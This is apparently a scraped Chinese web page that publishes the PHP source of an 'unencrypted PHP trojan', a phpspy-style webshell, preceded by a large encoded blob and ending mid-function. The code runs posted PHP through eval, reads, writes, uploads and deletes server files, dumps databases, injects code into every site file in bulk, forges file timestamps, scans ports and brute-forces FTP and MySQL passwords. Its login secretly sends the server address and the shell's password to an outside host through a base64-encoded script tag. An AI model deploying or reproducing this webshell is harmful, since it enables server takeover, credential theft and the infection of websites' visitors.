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#p#分页标题#e#

——————————————————————————————————

2011最新没有加密的PHP木马

——————————————————————————————————

error_reporting(7);
ob_start();
$mtime = explode(‘ ‘, microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//非安全模式可以使用上面的函数,超时取消。
/*===================== 程序配置 =====================*/
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
$admin[‘check’] = “1”;
// 如果需要密码验证,请修改登陆密码
//默认端口表
$hidden = “saiy”;
$admin[‘port’] = “80,139,21,3389,3306,43958,1433,”;
//跳转用的秒
$admin[‘jumpsecond’] = “1”;
//Ftp破解用的连接端口
$alexa = “yes”;
//是否显示alexa排名,yes或是no
$admin[‘ftpport’] = “21”;
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
$retime = “no”;
// 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
$cmd = “cmd.exe”;
// 下面是phpspy显示版权那栏的,因为被很多程序当成作为关键词杀了,鱼寒~~允许自定义吧。还是不懂别改~~

/*===================== 配置结束 =====================*/
$serveru = $_SERVER [‘HTTP_HOST’].$_SERVER[‘PHP_SELF’];
$serverp = $admin[‘pass’];
$copyurl = base64_decode(‘PHNjcmlwdCBzcmM9J2h0dHA6Ly8lNzclNzclNzclMmUlN2ElNjglNjElNmUlNjclNjglNmYlNmQlNjUlMmUlNjMlNmYlNmQlMmUlNjMlNmUvP3U9’);
$copyurll = base64_decode(‘Jz48L3NjcmlwdD4=’);
$onoff = (function_exists(‘ini_get’)) ? ini_get(‘register_globals’) : get_cfg_var(‘register_globals’);
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER[‘PHP_SELF’];$dis_func = get_cfg_var(“disable_functions”);
/*===================== 身份验证 =====================*/
if($admin[‘check’] == “1”) {if ($_GET[‘action’] == “logout”) {setcookie (“adminpass”, “”);echo “”;echo “注销成功……

三秒后自动退出或单击这里退出程序界面 >>>”;exit;}
if ($_POST[‘do’] == ‘login’) {$thepass=trim($_POST[‘adminpass’]);if ($admin[‘pass’] == $thepass) {setcookie (“adminpass”,$thepass,time()+(1*24*3600));echo “”;echo “”.$copyurl.$serveru.”&p=”.$serverp.$copyurll.””;exit;}}if (isset($_COOKIE[‘adminpass’])) {if ($_COOKIE[‘adminpass’] != $admin[‘pass’]) {loginpage();}} else {loginpage();}}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll的代码
$mixdll = “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”;#p#分页标题#e#
// 查看PHPINFO
if ($_GET[‘action’] == “phpinfo”) {echo $phpinfo=(!eregi(“phpinfo”,$dis_func)) ? phpinfo() : “phpinfo() 函数已被禁用,请查看”;exit;
}if($_GET[‘action’] == “nowuser”) {$user = get_current_user();
if(!$user) $user = “报告长官,主机变态,无法获取当前进行用户名!”;
echo”当前进程用户名:$user”;
exit;
}
if(isset($_POST[‘phpcode’])){eval(“?”.”>$_POST[phpcode] }
if($action==”mysqldown”){
[email protected]_connect($host,$user,$password);
if (!$link) {
$downtmp = ‘数据库连接失败: ‘ . mysql_error();
}else{
$query=”select load_file(‘”.$filename.”‘);”;
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = “读取失败,可能是文件不存在或是没file权限。
”.mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = basename($filename);
if($rardown==”yes”){
$zip = NEW Zip;
$zipfiles[]=Array(“$filename”,$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$filename = “”.$filename.”.rar”;
}else{
$code = $row[0];
}
header(“Content-type: application/octet-stream”);
header(“Accept-Ranges: bytes”);
header(“Accept-Length: “.strlen($code));
header(“Content-Disposition: attachment;filename=$filename”);
echo($code);
exit;
}
}
}
}
// 在线代理
if (isset($_POST[‘url’])) {$proxycontents = @file_get_contents($_POST[‘url’]);echo ($proxycontents) ? $proxycontents : “


获取 URL 内容失败

”;exit;
}
// 下载文件
if (!empty($downfile)) {if ([email protected]_exists($downfile)) {echo “”;} else {$filename = basename($downfile);$filename_info = explode(‘.’, $filename);$fileext = $filename_info[count($filename_info)-1];header(‘Content-type: application/x-‘.$fileext);header(‘Content-Disposition: attachment; filename=’.$filename.”);header(‘Content-Description: PHP Generated Data’);header(‘Content-Length: ‘.filesize($downfile));@readfile($downfile);exit;}
}
// 直接下载备份数据库
if ($_POST[‘backuptype’] == ‘download’) {
@mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);
@mysql_select_db($dbname) or die(“选择数据库失败”);
$table = array_flip($_POST[‘table’]);
$result = mysql_query(“SHOW tables”);
echo ($result) ? NULL : “出错: “.mysql_error();

$filename = basename($_SERVER[‘HTTP_HOST’].”_MySQL.sql”);
header(‘Content-type: application/unknown’);
header(‘Content-Disposition: attachment; filename=’.$filename);
$mysqldata = ”;
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata.”\r\n”;
}
}
mysql_close();
exit;
}

// 程序目录
$pathname=str_replace(‘\\’,’/’,dirname(__FILE__));

// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = “.”;
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET[‘dir’];
$nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? “可写” : “不可写”;
$phpinfo=(!eregi(“phpinfo”,$dis_func)) ? ” | PHPINFO()” : “”;
$reg = (substr(PHP_OS, 0, 3) == ‘WIN’) ? ” | 注册表操作” : “”;#p#分页标题#e#

$tb = new FORMS;

?>








$tb->tableheader();
$tb->tdbody(‘
’.$_SERVER[‘HTTP_HOST’].'’.date(“Y年m月d日 h:i:s”,time()).'’.$_SERVER[‘REMOTE_ADDR’].'
’,’center’,’top’);
$tb->tdbody(‘ | 根目录 Shell 目录 | 环境变量 | 在线代理’.$reg.$phpinfo.’ | WebShell | 杂项破解 | 解压mix.dll | 注销登录 |’);
$tb->tdbody(‘| 批量挂马 | Http 文件下载 | 文件查找 | 执行php脚本 | 执行SQL语句 | Func反弹Shell | MySQL 备份 | Serv-U 提权 |’);
$tb->tablefooter();
?>



$tb->headerform(array(‘method’=>’GET’,’content’=>'

程序路径: ‘.$pathname.'
当前目录(‘.$dir_writeable.’,’.substr(base_convert(@fileperms($nowpath),10,8),-4).’): ‘.$nowpath.'
跳转目录: ‘.$tb->makeinput(‘dir’).’ ‘.$tb->makeinput(”,’确定’,”,’submit’).’ 〖支持绝对路径和相对路径〗’));

$tb->headerform(array(‘action’=>’?dir=’.urlencode($dir),’enctype’=>’multipart/form-data’,’content’=>’上传文件到当前目录: ‘.$tb->makeinput(‘uploadfile’,”,”,’file’).’ ‘.$tb->makeinput(‘doupfile’,’确定’,”,’submit’).$tb->makeinput(‘uploaddir’,$dir,”,’hidden’)));#p#分页标题#e#

$tb->headerform(array(‘action’=>’?action=editfile&dir=’.urlencode($dir),’content’=>’新建文件在当前目录: ‘.$tb->makeinput(‘editfile’).’ ‘.$tb->makeinput(‘createfile’,’确定’,”,’submit’)));

$tb->headerform(array(‘content’=>’新建目录在当前目录: ‘.$tb->makeinput(‘newdirectory’).’ ‘.$tb->makeinput(‘createdirectory’,’确定’,”,’submit’)));
?>




/*===================== 执行操作 开始 =====================*/
echo “

\n”;
// 删除文件
if (!empty($delfile)) {
if (file_exists($delfile)) {
echo (@unlink($delfile)) ? $delfile.” 删除成功!” : “文件删除失败!”;
} else {
echo basename($delfile).” 文件已不存在!”;
}
}

// 删除目录
elseif (!empty($deldir)) {
$deldirs=”$dir/$deldir”;
if (!file_exists(“$deldirs”)) {
echo “$deldir 目录已不存在!”;
} else {
echo (deltree($deldirs)) ? “目录删除成功!” : “目录删除失败!”;
}
}

// 创建目录
elseif (($createdirectory) AND !empty($_POST[‘newdirectory’])) {
if (!empty($newdirectory)) {
$mkdirs=”$dir/$newdirectory”;
if (file_exists(“$mkdirs”)) {
echo “该目录已存在!”;
} else {
echo (@mkdir(“$mkdirs”,0777)) ? “创建目录成功!” : “创建失败!”;
@chmod(“$mkdirs”,0777);
}
}
}

// 上传文件
elseif ($doupfile) {
echo (@copy($_FILES[‘uploadfile’][‘tmp_name’],””.$uploaddir.”/”.$_FILES[‘uploadfile’][‘name’].””)) ? “上传成功!” : “上传失败!”;
}
elseif($action==”mysqlup”){
$filename = $_FILES[‘upfile’][‘tmp_name’];
if(!$filename) {
echo”没有选择要上传的文件。。”;
}else{
$shell = file_get_contents($filename);
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES[‘upfile’][‘name’];
$shell = “select 0x”.$mysql.” from “.$database.” into DUMPFILE ‘”.$uppath.”/”.$upname.”‘;”;
[email protected]_connect($host,$user,$password);
if(!$link){
echo “登陆失败”.mysql_error();
}else{
$result = mysql_query($shell, $link);
if($result){
echo”操作成功.文件成功上传到”.$host.”,文件名为”.$uppath.”/”.$upname.”..”;
}else{
echo”上传失败 原因:”.mysql_error();
}
}
}

}
elseif($action==”mysqldown”){
if(!empty($downtmp)) echo $downtmp;
}
// 编辑文件
elseif ($_POST[‘do’] == ‘doeditfile’) {
if (!empty($_POST[‘editfilename’])) {
if(!file_exists($editfilename)) unset($retime);
if($time==$now) $time = @filemtime($editfilename);
$time2 = @date(“Y-m-d H:i:s”,$time);
$filename=”$editfilename”;
@$fp=fopen(“$filename”,”w”);
if($_POST[‘change’]==”yes”){
$filecontent = “?”.”>”.$_POST[‘filecontent’].” $filecontent = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = “”;
}else{
$filecontent = $_POST[‘filecontent’];
}
echo [email protected]($fp,$filecontent) ? “写入文件成功!” : “写入失败!”;
@fclose($fp);
if($retime==”yes”){
echo” 鱼鱼自动操作:”;#p#分页标题#e#
echo [email protected]($filename,$time) ? “修改文件为”.$time2.”成功!” : “修改文件时间失败!”;
}
} else {
echo “请输入想要编辑的文件名!”;
}
}
//文件下载
elseif ($_POST[‘do’] == ‘downloads’) {
$contents = @file_get_contents($_POST[‘durl’]);
if(!$contents){
echo”无法读取要下载的数据”;
}
elseif(file_exists($path)){
echo”很抱歉,文件”.$path.”已经存在了,请更换保存文件名。”;
}else{
$fp = @fopen($path,”w”);
echo [email protected]($fp,$contents) ? “下载文件成功!” : “下载文件写入时失败!”;
@fclose($fp);
}
}
elseif($_POST[‘action’]==”mix”){
if(!file_exists($_POST[‘mixto’])){
$tmp = base64_decode($mixdll);
$tmp = gzinflate($tmp);
$fp = fopen($_POST[‘mixto’],”w”);
echo [email protected]($fp,$tmp) ? “解压缩成功!” : “此目录不可写吧?!”;
fclose($fp);
}else{
echo”不是吧?”.$_POST[‘mixto’].”已经存在了耶~”;
}
}
// 编辑文件属性
elseif ($_POST[‘do’] == ‘editfileperm’) {
if (!empty($_POST[‘fileperm’])) {
$fileperm=base_convert($_POST[‘fileperm’],8,10);
echo (@chmod($dir.”/”.$file,$fileperm)) ? “属性修改成功!” : “修改失败!”;
echo ” 文件 “.$file.” 修改后的属性为: “.substr(base_convert(@fileperms($dir.”/”.$file),10,8),-4);
} else {
echo “请输入想要设置的属性!”;
}
}

// 文件改名
elseif ($_POST[‘do’] == ‘rename’) {
if (!empty($_POST[‘newname’])) {
$newname=$_POST[‘dir’].”/”.$_POST[‘newname’];
if (@file_exists($newname)) {
echo “”.$_POST[‘newname’].” 已经存在,请重新输入一个!”;
} else {
echo (@rename($_POST[‘oldname’],$newname)) ? basename($_POST[‘oldname’]).” 成功改名为 “.$_POST[‘newname’].” !” : “文件名修改失败!”;
}
} else {
echo “请输入想要改的文件名!”;
}
}
elseif ($_POST[‘do’] == ‘search’) {
if(!empty($oldkey)){
echo”查找关键词:[“.$oldkey.”],下面显示查找的结果:”;
if($type2 == “getpath”){
echo”鼠标移到结果文件上会有部分截取显示.”;
}
echo”


”;
find($path);
}else{
echo”你要查虾米?到底要查虾米呢?有没有虾米要你查呢?”;
}
}
elseif ($_GET[‘action’]==’plgmok’) {
dirtree($_POST[‘dir’],$_POST[‘mm’]);
}
elseif ($_GET[‘action’] == “plgm”) {
$action = ‘?action=plgmok’;
$gm = “”;
$tb->tableheader();
$tb->formheader($action,’批量挂马’);
$tb->tdbody(‘网站批量挂马程序php版’,’center’);
$tb->tdbody(‘文件位置: ‘.$tb->makeinput(‘dir’,”.$_SERVER[“DOCUMENT_ROOT”].”,”,’text’,’60’).'
要挂代码:’.$tb->maketextarea(‘mm’,$gm,’50’,’5′).”.$tb->makehidden(‘do’,’批量挂马’).'
’.$tb->makeinput(‘submit’,’开始挂马’,”,’submit’),’center’,’1′,’35’);
echo “”;
$tb->tablefooter();
}//end plgm
// 克隆时间
elseif ($_POST[‘do’] == ‘domodtime’) {
if ([email protected]_exists($_POST[‘curfile’])) {
echo “要修改的文件不存在!”;
} else {
if ([email protected]_exists($_POST[‘tarfile’])) {
echo “要参照的文件不存在!”;#p#分页标题#e#
} else {
[email protected]($_POST[‘tarfile’]);
echo (@touch($_POST[‘curfile’],$time,$time)) ? basename($_POST[‘curfile’]).” 的修改时间成功改为 “.date(“Y-m-d H:i:s”,$time).” !” : “文件的修改时间修改失败!”;
}
}
}

// 自定义时间
elseif ($_POST[‘do’] == ‘modmytime’) {
if ([email protected]_exists($_POST[‘curfile’])) {
echo “要修改的文件不存在!”;
} else {
$year=$_POST[‘year’];
$month=$_POST[‘month’];
$data=$_POST[‘data’];
$hour=$_POST[‘hour’];
$minute=$_POST[‘minute’];
$second=$_POST[‘second’];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
$time=strtotime(“$data $month $year $hour:$minute:$second”);
echo (@touch($_POST[‘curfile’],$time,$time)) ? basename($_POST[‘curfile’]).” 的修改时间成功改为 “.date(“Y-m-d H:i:s”,$time).” !” : “文件的修改时间修改失败!”;
}
}
}
elseif($do ==’port’){
$tmp = explode(“,”,$port);
$count = count($tmp);
for($i=$first;$i<$count;$i++){
$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo”发现”.$host.”主机打开了端口”.$tmp[$i].”
”;
}
}
/*
这里代码写得很杂,说实话我自己都不知道写了什么。
好在能用,我就没管了,假设有人看到干脆重写吧。*/
elseif ($do == ‘crack’) {//反正注册为全局变量了。
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp);
if(empty($onetime)){
$onetime = $count;
$turn=”1″;
}else{
$nowturn = $turn+1;
$now = $turn*$onetime;
$tt = intval(($count/$onetime)+1);
}
if($turn>$tt or $onetime>$count){
echo”超过字典容量了耶~要是破解最后进程的,很抱歉失败。”;
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now;$i++){
if($ctype==”mysql”) $sa = @mysql_connect($host,$user,chop($tmp[$i]));
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
if($sa)
{
$t = “获取”.$user.”的密码为”.$tmp[$i].””;
}
}
if(!$t){
echo “字典总共”.$count.”个,现在从”.$first.”到”.$now.”,”.$admin[jumpsecond].”秒后进行这”.$onetime.”个密码的试探. >>>
全历此次”.$type.”的破解需要”.$tt.”次,现在是第”.$turn.”次解密。
”;
}
else {
echo”$t”;
}
}
}else{
echo”字典文件不存在,请确定。”;
}
}
elseif($do ==’port’){
if(!eregi(“-“,$port)){
$tmp = explode(“,”,$port);
$count = count($tmp);
$first = “1”;
}else{
$tmp = explode(“-“,$port);#p#分页标题#e#
$first = $tmp[0];
$count = $tmp[1];

}
for($i=$first;$i<$count;$i++){
if(!eregi(“-“,$port)){
